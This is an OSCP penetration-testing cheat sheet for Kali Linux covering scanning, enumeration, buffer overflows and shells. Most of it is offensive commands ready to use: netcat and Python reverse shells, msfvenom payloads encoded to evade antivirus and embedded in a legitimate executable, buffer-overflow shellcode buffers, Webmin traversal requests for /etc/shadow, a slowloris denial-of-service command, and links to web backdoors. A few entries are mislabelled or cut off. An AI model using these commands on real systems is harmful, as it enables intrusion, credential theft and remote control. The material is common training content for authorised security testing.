```
# OSCP-Survival-Guide
<pre>
   _____ _____ _____ _____   _____                 _           _   _____       _     _
  |  _  /  ___/  __ \| ___ \ /  ___|               (_)         | | |  __ \     (_)   | |
  | | | \ `--.| /  \/| |_/ / \ `--. _   _ _ ____   _____   ____ _| | | |  \/_   _ _  __| | ___
  | | | |`--. \ |    |  __/   `--. \ | | | '__\ \ / / \ \ / / _` | | | | __| | | | |/ _` |/ _ \
  \ \_/ /\__/ / \__/\| |     /\__/ / |_| | |   \ V /| |\ V / (_| | | | |_\ \ |_| | | (_| |  __/
   \___/\____/ \____/\_|     \____/ \__,_|_|    \_/ |_| \_/ \__,_|_|  \____/\__,_|_|\__,_|\___|
</pre>
Kali Linux Offensive Security Certified Professional Playbook

 **NOTE: This document reffers to the target ip as the export variable $ip.**

 **To set this value on the command line use the following syntax:**

```

```
 **export ip=192.168.1.100**


***UPDATE: October 2, 2017***
Thanks for all the Stars! Wrote my OSCP exam last night, did not pass sadly ... but I recorded a stop motion video of my failed attempt. TRY HARDER!

https://www.youtube.com/watch?v=HBMZWl9zcsc

The good news is that I will be learning more and adding more content to this guide :D


## Table of Contents
- [Kali Linux](#kali-linux)
- [Information Gathering & Vulnerability Scanning](#information-gathering--vulnerability-scanning)
  * [Passive Information Gathering](#passive-information-gathering)
  * [Active Information Gathering](#active-information-gathering)
  * [Port Scanning](#port-scanning)
  * [Enumeration](#enumeration)
  * [HTTP Enumeration](#http-enumeration)
- [Buffer Overflows and Exploits](#buffer-overflows-and-exploits)
- [Shells](#shells)
- [File Transfers](#file-transfers)
- [Privilege Escalation](#privilege-escalation)
  * [Linux Privilege Escalation](#linux-privilege-escalation)
  * [Windows Privilege Escalation](#windows-privilege-escalation)
- [Client, Web and Password Attacks](#client-web-and-password-attacks)
  * [Client Attacks](#client-attacks)
```

```
  * [Web Attacks](#web-attacks)
  * [File Inclusion Vulnerabilities LFI/RFI](#file-inclusion-vulnerabilities)
  * [Database Vulnerabilities](#database-vulnerabilities)
  * [Password Attacks](#password-attacks)
  * [Password Hash Attacks](#password-hash-attacks)
- [Networking, Pivoting and Tunneling](#networking-pivoting-and-tunneling)
- [The Metasploit Framework](#the-metasploit-framework)
- [Bypassing Antivirus Software](#bypassing-antivirus-software)

Kali Linux
==========

-   Set the Target IP Address to the `$ip` system variable
    `export ip=192.168.1.100`

-   Find the location of a file
    `locate sbd.exe`

-   Search through directories in the `$PATH` environment variable
    `which sbd`

-   Find a search for a file that contains a specific string in it’s
    name:
    `find / -name sbd\*`

-   Show active internet connections
    `netstat -lntp`
```

```
-   Change Password
    `passwd`

-   Verify a service is running and listening
    `netstat -antp |grep apache`

-   Start a service
    `systemctl start ssh  `

    `systemctl start apache2`

-   Have a service start at boot
    `systemctl enable ssh`

-   Stop a service
    `systemctl stop ssh`

-   Unzip a gz file
    `gunzip access.log.gz`

-   Unzip a tar.gz file
    `tar -xzvf file.tar.gz`

-   Search command history
    `history | grep phrase_to_search_for`

-   Download a webpage
    `wget http://www.cisco.com`
```

```
- Open a webpage
    `curl http://www.cisco.com`

- String manipulation

    - Count number of lines in file
        `wc index.html`

    - Get the start or end of a file
        `head index.html`

        `tail index.html`

    - Extract all the lines that contain a string
        `grep "href=" index.html`

    - Cut a string by a delimiter, filter results then sort
        `grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u`

    - Using Grep and regular expressions and output to a file
        `cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt`

    - Use a bash loop to find the IP address behind each host
        `for url in $(cat list.txt); do host $url; done`

    - Collect all the IP Addresses from a log file and sort by
        frequency
```

```
        `cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn`

-   Decoding using Kali

    -   Decode Base64 Encoded Values

        `echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode`

    -   Decode Hexidecimal Encoded Values
        `echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps`

-   Netcat - Read and write TCP and UDP Packets

    -   Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems):
        [https://joncraton.org/blog/46/netcat-for-windows/](https://joncraton.org/blog/46/netcat-for-windows/)

    -   Connect to a POP3 mail server
        `nc -nv $ip 110`

    -   Listen on TCP/UDP port
        `nc -nlvp 4444`

    -   Connect to a netcat port
        `nc -nv $ip 4444`

    -   Send a file using netcat
        `nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe`
```

```
    -   Receive a file using netcat
        `nc -nlvp 4444 > incoming.exe`

    -   Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...

            whereis nc
            nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

            /bin/nc.traditional -e /bin/bash 1.2.3.4 4444


    -   Create a reverse shell with Ncat using cmd.exe on Windows
        `nc.exe -nlvp 4444 -e cmd.exe`

        or

        `nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe`

    -   Create a reverse shell with Ncat using bash on Linux
        `nc -nv $ip 4444 -e /bin/bash`

    -   Netcat for Banner Grabbing:

        `echo "" | nc -nv -w1 <IP Address> <Ports>`

-   Ncat - Netcat for Nmap project which provides more security avoid
    IDS

```

```
    -   Reverse shell from windows using cmd.exe using ssl
        `ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl`

    -   Listen on port 4444 using ssl
        `ncat -v $ip 4444 --ssl`

-   Wireshark
    -   Show only SMTP (port 25) and ICMP traffic:

        `tcp.port eq 25 or icmp`

    -   Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:

        `ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16`

    -   Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:

        `ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip`

    -   Some commands are equal

        `ip.addr == xxx.xxx.xxx.xxx`

         Equals

        `ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx `

        ` ip.addr != xxx.xxx.xxx.xxx`
```

```
211.
212.          Equals
213.
214.         `ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx`
215.
216. -   Tcpdump
217.
218.     -   Display a pcap file
219.        `tcpdump -r passwordz.pcap`
220.
221.     -   Display ips and filter and sort
222.         `tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head`
223.
224.     -   Grab a packet capture on port 80
225.         `tcpdump tcp port 80 -w output.pcap -i eth0`
226.
227.     -   Check for ACK or PSH flag set in a TCP packet
228.         `tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap`
229.
230. -   IPTables
231.
232.     -   Deny traffic to ports except for Local Loopback
233.
234.         `iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP  `
235.
236.         `iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP`
237.
238.     -   Clear ALL IPTables firewall rules
```

```
239.
240.             iptables -P INPUT ACCEPT
241.             iptables -P FORWARD ACCEPT
242.             iptables -P OUTPUT ACCEPT
243.             iptables -t nat -F
244.             iptables -t mangle -F
245.             iptables -F
246.             iptables -X
247.             iptables -t raw -F iptables -t raw -X
248.
249. Information Gathering & Vulnerability Scanning
250. ==========================================================================================================================
251.
252. -   Passive Information Gathering
253.     ------------------------------------------------------------------------------------------------------------
254.
255. -   Google Hacking
256.
257.     -   Google search to find website sub domains
258.         `site:microsoft.com`
259.
260.     -   Google filetype, and intitle
261.         `intitle:"netbotz appliance" "OK" -filetype:pdf`
262.
263.     -   Google inurl
264.         `inurl:"level/15/sexec/-/show"`
265.
266.     -   Google Hacking Database:
```

```
        https://www.exploit-db.com/google-hacking-database/

-   SSL Certificate Testing
    [https://www.ssllabs.com/ssltest/analyze.html](https://www.ssllabs.com/ssltest/analyze.html)

-   Email Harvesting

    -   Simply Email
        `git clone https://github.com/killswitch-GUI/SimplyEmail.git  `

        `./SimplyEmail.py -all -e TARGET-DOMAIN`

-   Netcraft

    -   Determine the operating system and tools used to build a site
        https://searchdns.netcraft.com/

-   Whois Enumeration
    `whois domain-name-here.com  `

    `whois $ip`

-   Banner Grabbing

    -   `nc -v $ip 25`

    -   `telnet $ip 25`
```

```
    -   `nc TARGET-IP 80`

-   Recon-ng - full-featured web reconnaissance framework written in Python

    -   `cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git  `

        `cd /opt/recon-ng  `

        `./recon-ng  `

        `show modules  `

        `help`

-   Active Information Gathering
    ----------

<!-- -->


-   Port Scanning
    ----------
*Subnet Reference Table*

/ | Addresses | Hosts | Netmask | Amount of a Class C
--- | --- | --- | --- | ---
/30 | 4 | 2 | 255.255.255.252| 1/64
/29 | 8 | 6 | 255.255.255.248 | 1/32
```

```
/28 | 16 | 14 | 255.255.255.240 | 1/16
/27 | 32 | 30 | 255.255.255.224 | 1/8
/26 | 64 | 62 | 255.255.255.192 | 1/4
/25 | 128 | 126 | 255.255.255.128 | 1/2
/24 | 256 | 254 | 255.255.255.0 | 1
/23 | 512 | 510 | 255.255.254.0 | 2
/22 | 1024 | 1022 | 255.255.252.0 | 4
/21 | 2048 | 2046 | 255.255.248.0 | 8
/20 | 4096 | 4094 | 255.255.240.0 | 16
/19 | 8192 | 8190 | 255.255.224.0 | 32
/18 | 16384 | 16382 | 255.255.192.0 | 64
/17 | 32768 | 32766 | 255.255.128.0 | 128
/16 | 65536 | 65534 | 255.255.0.0 | 256

 -   Set the ip address as a varble
     `export ip=192.168.1.100  `
     `nmap -A -T4 -p- $ip`

 -   Netcat port Scanning
     `nc -nvv -w 1 -z $ip 3388-3390`

 -   Discover active IPs usign ARP on the network:
     `arp-scan $ip/24`

 -   Discover who else is on the network
     `netdiscover`

 -   Discover IP Mac and Mac vendors from ARP
```

```
    `netdiscover -r $ip/24`

-   Nmap stealth scan using SYN
    `nmap -sS $ip`

-   Nmap stealth scan using FIN
    `nmap -sF $ip`

-   Nmap Banner Grabbing
    `nmap -sV -sT $ip`

-   Nmap OS Fingerprinting
    `nmap -O $ip`

-   Nmap Regular Scan:
    `nmap $ip/24`

-   Enumeration Scan
    `nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt`

-   Enumeration Scan All Ports TCP / UDP and output to a txt file
    `nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip`

-   Nmap output to a file:
    `nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24`

-   Quick Scan:
    `nmap -T4 -F $ip/24`
```

```
379.
380. -   Quick Scan Plus:
381.     `nmap -sV -T4 -O -F --version-light $ip/24`
382.
383. -   Quick traceroute
384.     `nmap -sn --traceroute $ip`
385.
386. -   All TCP and UDP Ports
387.     `nmap -v -sU -sS -p- -A -T4 $ip`
388.
389. -   Intense Scan:
390.     `nmap -T4 -A -v $ip`
391.
392. -   Intense Scan Plus UDP
393.     `nmap -sS -sU -T4 -A -v $ip/24`
394.
395. -   Intense Scan ALL TCP Ports
396.     `nmap -p 1-65535 -T4 -A -v $ip/24`
397.
398. -   Intense Scan - No Ping
399.     `nmap -T4 -A -v -Pn $ip/24`
400.
401. -   Ping scan
402.     `nmap -sn $ip/24`
403.
404. -   Slow Comprehensive Scan
405.     `nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24`
406.
```

```
 -   Scan with Active connect in order to weed out any spoofed ports designed to troll you
     `nmap -p1-65535 -A -T5 -sT $ip`

-   Enumeration
    -----------

-   DNS Enumeration

    -   NMAP DNS Hostnames Lookup
        `nmap -F --dns-server <dns server ip> <target ip range>`

    -   Host Lookup
        `host -t ns megacorpone.com`

    -   Reverse Lookup Brute Force - find domains in the same range
        `for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"`

    -   Perform DNS IP Lookup
        `dig a domain-name-here.com @nameserver`

    -   Perform MX Record Lookup
        `dig mx domain-name-here.com @nameserver`

    -   Perform Zone Transfer with DIG
        `dig axfr domain-name-here.com @nameserver`

    -   DNS Zone Transfers
        Windows DNS zone transfer
```

```
435.
436.         `nslookup -> set type=any -> ls -d blah.com  `
437.
438.         Linux DNS zone transfer
439.
440.         `dig axfr blah.com @ns1.blah.com`
441.
442.     -   Dnsrecon DNS Brute Force
443.         `dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml`
444.
445.     -   Dnsrecon DNS List of megacorp
446.         `dnsrecon -d megacorpone.com -t axfr`
447.
448.     -   DNSEnum
449.         `dnsenum zonetransfer.me`
450.
451. -   NMap Enumeration Script List:
452.
453.     -   NMap Discovery
454.         [*https://nmap.org/nsedoc/categories/discovery.html*](https://nmap.org/nsedoc/categories/discovery.html)
455.
456.     -   Nmap port version detection MAXIMUM power
457.         `nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>`
458.
459.
460. -   NFS (Network File System) Enumeration
461.
462.     -   Show Mountable NFS Shares
```

```
        `nmap -sV --script=nfs-showmount $ip`

-   RPC (Remote Procedure Call) Enumeration

    -   Connect to an RPC share without a username and password and enumerate privledges
        `rpcclient --user="" --command=enumprivs -N $ip`

    -   Connect to an RPC share with a username and enumerate privledges
        `rpcclient --user="<Username>" --command=enumprivs $ip`


-   SMB Enumeration

    -   SMB OS Discovery
        `nmap $ip --script smb-os-discovery.nse`

    -   Nmap port scan
        `nmap -v -p 139,445 -oG smb.txt $ip-254`

    -   Netbios Information Scanning
        `nbtscan -r $ip/24`

    -   Nmap find exposed Netbios servers
        `nmap -sU --script nbstat.nse -p 137 $ip`

    -   Nmap all SMB scripts scan
```

```
        `nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip`

    -   Nmap all SMB scripts authenticated scan

        `nmap -sV -Pn -vv -p 445  --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip`

    -   SMB Enumeration Tools
        `nmblookup -A $ip  `

        `smbclient //MOUNT/share -I $ip -N  `

        `rpcclient -U "" $ip  `

        `enum4linux $ip  `

        `enum4linux -a $ip`


    -   SMB Finger Printing
        `smbclient -L //$ip`

    -   Nmap Scan for Open SMB Shares
        `nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.10.0/24`

    -   Nmap scans for vulnerable SMB Servers
        `nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip`
```

```
516.
517.     -   Nmap List all SMB scripts installed
518.         `ls -l /usr/share/nmap/scripts/smb*`
519.
520.     -   Enumerate SMB Users
521.
522.         `nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14`
523.
524.          OR
525.
526.          `python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip`
527.
528.
529.     -   RID Cycling - Null Sessions
530.         `ridenum.py $ip 500 50000 dict.txt`
531.
532.     -   Manual Null Session Testing
533.
534.         Windows: `net use \\$ip\IPC$ "" /u:""`
535.
536.         Linux: `smbclient -L //$ip`
537.
538.
539. -   SMTP Enumeration - Mail Severs
540.
541.     -   Verify SMTP port using Netcat
542.         `nc -nv $ip 25`
543.
```

```
-   POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet

        root@kali:~# telnet $ip 110
        +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
        USER billydean
        +OK
        PASS password
        +OK Welcome billydean

        list

        +OK 2 1807
        1 786
        2 1021

        retr 1

        +OK Message follows
        From: jamesbrown@motown.com
        Dear Billy Dean,

        Here is your login for remote desktop ... try not to forget it this time!
        username: billydean
        password: PA$$W0RD!Z


-   SNMP Enumeration -Simple Network Management Protocol
```

```
571.
572.     -   Fix SNMP output values so they are human readable
573.         `apt-get install snmp-mibs-downloader download-mibs  `
574.         `echo "" > /etc/snmp/snmp.conf`
575.
576.     -   SNMP Enumeration Commands
577.
578.         -   `snmpcheck -t $ip -c public`
579.
580.         -   `snmpwalk -c public -v1 $ip 1|`
581.
582.         -   `grep hrSWRunName|cut -d\* \* -f`
583.
584.         -   `snmpenum -t $ip`
585.
586.         -   `onesixtyone -c names -i hosts`
587.
588.     -   SNMPv3 Enumeration
589.         `nmap -sV -p 161 --script=snmp-info $ip/24`
590.
591.     -   Automate the username enumeration process for SNMPv3:
592.         `apt-get install snmp snmp-mibs-downloader  `
593.         `wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb`
594.
595.     -   SNMP Default Credentials
596.         /usr/share/metasploit-framework/data/wordlists/snmp\_default\_pass.txt
597.
598.
```

```
-   MS SQL Server Enumeration

    -   Nmap Information Gathering

        `nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes  --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip`

-   Webmin and miniserv/0.01 Enumeration - Port 10000

      Test for LFI & file disclosure vulnerability by grabbing /etc/passwd

        `curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01

      Test to see if webmin is running as root by grabbing /etc/shadow

        `curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01

-   Linux OS Enumeration

    -   List all SUID files
        `find / -perm -4000 2>/dev/null`

    -   Determine the current version of Linux
        `cat /etc/issue`
```

```
    -   Determine more information about the environment
        `uname -a`

    -   List processes running
        `ps -xaf`

    -   List the allowed (and forbidden) commands for the invoking use
        `sudo -l`

    -   List iptables rules
        `iptables --table nat --list
        iptables -vL -t filter
        iptables -vL -t nat
        iptables -vL -t mangle
        iptables -vL -t raw
        iptables -vL -t security`

-   Windows OS Enumeration


    -   net config Workstation

    -   systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

    -   hostname

    -   net users

```

```
    -   ipconfig /all

    -   route print

    -   arp -A

    -   netstat -ano

    -   netsh firewall show state

    -   netsh firewall show config

    -   schtasks /query /fo LIST /v

    -   tasklist /SVC

    -   net start

    -   DRIVERQUERY

    -   reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

    -   reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

    -   dir /s *pass* == *cred* == *vnc* == *.config*

    -   findstr /si password *.xml *.ini *.txt

```

```
    -   reg query HKLM /f password /t REG_SZ /s

    -   reg query HKCU /f password /t REG_SZ /s

-   Vulnerability Scanning with Nmap

-   Nmap Exploit Scripts
    [*https://nmap.org/nsedoc/categories/exploit.html*](https://nmap.org/nsedoc/categories/exploit.html)

-   Nmap search through vulnerability scripts
    `cd /usr/share/nmap/scripts/
    ls -l \*vuln\*`

-   Nmap search through Nmap Scripts for a specific keyword
    `ls /usr/share/nmap/scripts/\* | grep ftp`

-   Scan for vulnerable exploits with nmap
    `nmap --script exploit -Pn $ip`

-   NMap Auth Scripts
    [*https://nmap.org/nsedoc/categories/auth.html*](https://nmap.org/nsedoc/categories/auth.html)

-   Nmap Vuln Scanning
    [*https://nmap.org/nsedoc/categories/vuln.html*](https://nmap.org/nsedoc/categories/vuln.html)

-   NMap DOS Scanning
    `nmap --script dos -Pn $ip
    NMap Execute DOS Attack
```

```
    nmap --max-parallelism 750 -Pn --script http-slowloris --script-args
    http-slowloris.runforever=true`

-   Scan for coldfusion web vulnerabilities
    `nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip`

-   Anonymous FTP dump with Nmap
    `nmap -v -p 21 --script=ftp-anon.nse $ip-254`

-   SMB Security mode scan with Nmap
    `nmap -v -p 21 --script=ftp-anon.nse $ip-254`

-   File Enumeration

    -   Find UID 0 files root execution

    -   `/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null`

    -   Get handy linux file system enumeration script (/var/tmp)
        `wget https://highon.coffee/downloads/linux-local-enum.sh  `
        `chmod +x ./linux-local-enum.sh  `
        `./linux-local-enum.sh`

    -   Find executable files updated in August
        `find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug`

    -   Find a specific file on linux
        `find /. -name suid\*`
```

```
735.
736.     -   Find all the strings in a file
737.         `strings <filename>`
738.
739.     -   Determine the type of a file
740.         `file <filename>`
741.
742. -   HTTP Enumeration
743.     ----------------
744.
745.     -   Search for folders with gobuster:
746.         `gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip`
747.
748.     -   OWasp DirBuster - Http folder enumeration - can take a dictionary file
749.
750.     -   Dirb - Directory brute force finding using a dictionary file
751.         `dirb http://$ip/ wordlist.dict  `
752.         `dirb <http://vm/>  `
753.
754.         Dirb against a proxy
755.
756.     -   `dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129`
757.
758.     -   Nikto
759.         `nikto -h $ip`
760.
761.     -   HTTP Enumeration with NMAP
762.         `nmap --script=http-enum -p80 -n $ip/24`
```

```
763.
764.     -   Nmap Check the server methods
765.         `nmap --script http-methods --script-args http-methods.url-path='/test' $ip`
766.
767.     -   Get Options available from web server
768.          `curl -vX OPTIONS vm/test`
769.
770.       -   Uniscan directory finder:
771.           `uniscan -qweds -u <http://vm/>`
772.
773.       -   Wfuzz - The web brute forcer
774.
775.           `wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test  `
776.
777.           `wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ  `
778.
779.           `wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"`
780.
781.           `wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ`
782.
783.           Recurse level 3
784.
785.           `wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ`
786.
787. <!-- -->
788.
789. -   Open a service using a port knock (Secured with Knockd)
790.     for x in 7000 8000 9000; do nmap -Pn --host\_timeout 201
```

```
    --max-retries 0 -p $x server\_ip\_address; done

-   WordPress Scan - Wordpress security scanner

    -   wpscan --url $ip/blog --proxy $ip:3129

-   RSH Enumeration - Unencrypted file transfer system

    -   auxiliary/scanner/rservices/rsh\_login

-   Finger Enumeration

    -   finger @$ip

    -   finger batman@$ip

-   TLS & SSL Testing

    -   ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha >
        OUTPUT-FILE.html

-   Proxy Enumeration (useful for open proxies)

    -   nikto -useproxy http://$ip:3128 -h $ip

-   Steganography

> apt-get install steghide
```

```
>
> steghide extract -sf picture.jpg
>
> steghide info picture.jpg
>
> apt-get install stegosuite

-   The OpenVAS Vulnerability Scanner

    -   apt-get update
        apt-get install openvas
        openvas-setup

    -   netstat -tulpn

    -   Login at:
        https://$ip:9392

Buffer Overflows and Exploits
=============================================================================================================================

-   DEP and ASLR - Data Execution Prevention (DEP) and Address Space
    Layout Randomization (ASLR)


-   Nmap Fuzzers:

    -   NMap Fuzzer List
```

```
847.        [https://nmap.org/nsedoc/categories/fuzzer.html](https://nmap.org/nsedoc/categories/fuzzer.html)
848.
849.    -   NMap HTTP Form Fuzzer
850.        nmap --script http-form-fuzzer --script-args
851.        'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}'
852.        -p 80 $ip
853.
854.    -   Nmap DNS Fuzzer
855.        nmap --script dns-fuzz --script-args timelimit=2h $ip -d
856.
857. -   MSFvenom
858.     [*https://www.offensive-security.com/metasploit-unleashed/msfvenom/*](https://www.offensive-security.com/metasploit-
     unleashed/msfvenom/)
859.
860. -   Windows Buffer Overflows
861.
862.     -   Controlling EIP
863.
864.             locate pattern_create
865.             pattern_create.rb -l 2700
866.             locate pattern_offset
867.             pattern_offset.rb -q 39694438
868.
869.     -   Verify exact location of EIP - [\*] Exact match at offset 2606
870.
871.            buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90
872.
873.     -   Check for “Bad Characters” - Run multiple times 0x00 - 0xFF
```

```
874.
875.     -   Use Mona to determine a module that is unprotected
876.
877.     -   Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP
878.
879.     -   Use NASM to determine the HEX code for a JMP ESP instruction
880.
881.             /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
882.
883.             JMP ESP
884.             00000000 FFE4 jmp esp
885.
886.     -   Run Mona in immunity log window to find (FFE4) XEF command
887.
888.             !mona find -s "\xff\xe4" -m slmfc.dll
889.             found at 0x5f4a358f - Flip around for little endian format
890.             buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390
891.
892.     -   MSFVenom to create payload
893.
894.             msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
895.
896.     -   Final Payload with NOP slide
897.
898.             buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
899.
900.     -   Create a PE Reverse Shell
901.         msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444
```

```
902.          -f
903.          exe -o shell\_reverse.exe
904.
905.      -   Create a PE Reverse Shell and Encode 9 times with
906.          Shikata\_ga\_nai
907.          msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444
908.          -f
909.          exe -e x86/shikata\_ga\_nai -i 9 -o
910.          shell\_reverse\_msf\_encoded.exe
911.
912.      -   Create a PE reverse shell and embed it into an existing
913.          executable
914.          msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444 -f
915.          exe -e x86/shikata\_ga\_nai -i 9 -x
916.          /usr/share/windows-binaries/plink.exe -o
917.          shell\_reverse\_msf\_encoded\_embedded.exe
918.
919.      -   Create a PE Reverse HTTPS shell
920.          msfvenom -p windows/meterpreter/reverse\_https LHOST=$ip
921.          LPORT=443 -f exe -o met\_https\_reverse.exe
922.
923.  -   Linux Buffer Overflows
924.
925.      -   Run Evans Debugger against an app
926.          edb --run /usr/games/crossfire/bin/crossfire
927.
928.      -   ESP register points toward the end of our CBuffer
929.          add eax,12
```

```
        jmp eax
        83C00C add eax,byte +0xc
        FFE0 jmp eax

    -   Check for “Bad Characters” Process of elimination - Run multiple
        times 0x00 - 0xFF

    -   Find JMP ESP address
        "\\x97\\x45\\x13\\x08" \# Found at Address 08134597

    -   crash = "\\x41" \* 4368 + "\\x97\\x45\\x13\\x08" +
        "\\x83\\xc0\\x0c\\xff\\xe0\\x90\\x90"

    -   msfvenom -p linux/x86/shell\_bind\_tcp LPORT=4444 -f c -b
        "\\x00\\x0a\\x0d\\x20" –e x86/shikata\_ga\_nai

    -   Connect to the shell with netcat:
        nc -v $ip 4444

Shells
==========

-   Netcat Shell Listener

    `nc -nlvp 4444`

-   Spawning a TTY Shell - Break out of Jail or limited shell
         You should almost always upgrade your shell after taking control of an apache or www user.
```

```
958.
959.        (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )
960.
961.        (hint: sudo -l to see what you can run)
962.
963.     -   You may encounter limited shells that use rbash and only allow you to execute a single command per session.
964.         You can overcome this by executing an SSH shell to your localhost:
965.
966.               ssh user@$ip nc $localip 4444 -e /bin/sh
967.               enter user's password
968.               python -c 'import pty; pty.spawn("/bin/sh")'
969.               export TERM=linux
970.
971.      `python -c 'import pty; pty.spawn("/bin/sh")'`
972.
973.               python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);
    s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'
974.
975.      `echo os.system('/bin/bash')`
976.
977.      `/bin/sh -i`
978.
979.      `perl —e 'exec "/bin/sh";'`
980.
981.      perl: `exec "/bin/sh";`
982.
983.      ruby: `exec "/bin/sh"`
984.
```

```
      lua: `os.execute('/bin/sh')`

      From within IRB: `exec "/bin/sh"`


      From within vi: `:!bash`
     or

      `:set shell=/bin/bash:shell`

      From within vim `':!bash':`

      From within nmap: `!sh`

      From within tcpdump

         echo $'id\\n/bin/netcat $ip 443 –e /bin/bash' > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root

      From busybox  `/bin/busybox telnetd -|/bin/sh -p9999`

-   Pen test monkey PHP reverse shell
    [http://pentestmonkey.net/tools/web-shells/php-reverse-shel](http://pentestmonkey.net/tools/web-shells/php-reverse-shell)

-   php-findsock-shell - turns PHP port 80 into an interactive shell
    [http://pentestmonkey.net/tools/web-shells/php-findsock-shell](http://pentestmonkey.net/tools/web-shells/php-findsock-shell)

-   Perl Reverse Shell
```

```
1012.     [http://pentestmonkey.net/tools/web-shells/perl-reverse-shell](http://pentestmonkey.net/tools/web-shells/perl-reverse-shell)
1013.
1014. -   PHP powered web browser Shell b374k with file upload etc.
1015.     [https://github.com/b374k/b374k](https://github.com/b374k/b374k)
1016.
1017. -   Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell
1018.     https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
1019.
1020. -   Web Backdoors from Fuzzdb
1021.     https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors
1022.
